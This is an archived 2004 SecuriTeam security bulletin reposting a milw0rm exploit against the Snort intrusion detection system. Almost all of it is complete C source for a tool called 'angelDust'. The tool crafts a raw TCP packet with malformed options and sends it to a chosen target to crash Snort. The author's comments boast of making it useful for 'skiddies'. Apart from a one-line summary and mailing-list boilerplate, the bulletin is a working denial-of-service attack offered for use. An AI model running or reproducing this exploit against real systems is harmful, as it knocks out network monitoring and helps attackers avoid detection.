

[EXPL] Snort Malformed TCP Options DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0094.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/27/04

To: list@securiteam.com

Date: 27 Dec 2004 11:07:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Snort Malformed TCP Options DoS

SUMMARY

The following exploit code causes DoS on Snort by sending malformed TCP options to Snort box.

DETAILS

Exploit:

```
//g++ -o blah blah.c - str0ke
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <getopt.h>
```

```
void printUsage()
{
```

Securiteam: [EXPL] Snort Malformed TCP Options DoS

```
printf("./angelDust -D <destination_ip> -S <source_ip>\n");
printf("Please as with all inhalants use wisely in the comfort of your own
home\n");
}
```

```
int main(int argc, char **argv)
{
int s;
int next_opt;
const char* const short_opts="hD:S:";
//either one there both not valid protocol
//char opts[] = "\x02\04\xff\xff";
char opts[] = "\x06\00\xff\xff";
```

```
char datagram[64];
struct sockaddr_in addr;
struct ip *ip = (struct ip *) datagram;
struct tcphdr *tcp;
char dst_ip[16];
char src_ip[16];
```

```
if(argc < 2)
{
printf("angelDust by Antimatt3r\n");
printf("pr0ps to Marcin for finding this bug\n");
printf("pr0ps to me for making something useful out of it for the
skiddies\n");
exit(-1);
}
```

```
const struct option long_opts[]=
{
{"help", 0, NULL, 'h'},
{"destination_ip", 1, NULL, 'D'},
{"source_ip", 1, NULL, 'S'},
};
```

```
strncpy(dst_ip, "127.0.0.1", 16);
strncpy(src_ip, "127.0.0.1", 16);
```

```
do
{
next_opt = getopt_long(argc, argv, short_opts, long_opts, NULL);
switch( next_opt)
{
case 'h' :
printUsage();
return 0;
case 'D' :
strncpy(dst_ip, optarg, 16);
break;
```

```

case 'S' :
strncpy(src_ip,optarg,16);
break;

}
}
while(next_opt != -1) ;

memset(&datagram, 0, sizeof(datagram));
addr.sin_addr.s_addr = inet_addr(dst_ip);
addr.sin_port = htons(123);
addr.sin_family = AF_INET;

ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_len = 44;
ip->ip_sum = 0;
ip->ip_dst.s_addr = addr.sin_addr.s_addr;
ip->ip_src.s_addr = inet_addr(src_ip);

tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2));
tcp->source = htons(321);
tcp->dest = addr.sin_port;
tcp->seq = 0;
tcp->ack = 0;
tcp->res1 = 0;
tcp->doff = 6;
tcp->syn = 0;
tcp->window = 0x1000;
tcp->check = 0;
tcp->urg_ptr = 0;

memcpy(datagram + 40, opts, sizeof(opts));

if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("socket");
exit(0);
}

if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr,
sizeof(struct sockaddr_in)) == -1) {
perror("sendto");
exit(-1);
}
fprintf(stderr,"Sniff this\n");
fprintf(stderr,".....//");

```

Securiteam: [EXPL] Snort Malformed TCP Options DoS

```
sleep(1);
fprintf(stderr, "\b\b\b\b// ");
sleep(1);
fprintf(stderr, "\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr, "\b\b\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr, "\b\b\b\b\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr, "\b\b\b\b\b\b\b\b\b\b\b\b\b\b// \n");
printf("and choke!\n");

close(s);
return 0;
}
//milw0rm.com
```

ADDITIONAL INFORMATION

The information has been provided by str0ke.
The original article can be found at:
<<http://www.milw0rm.com/id.php?id=706>>
<http://www.milw0rm.com/id.php?id=706>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.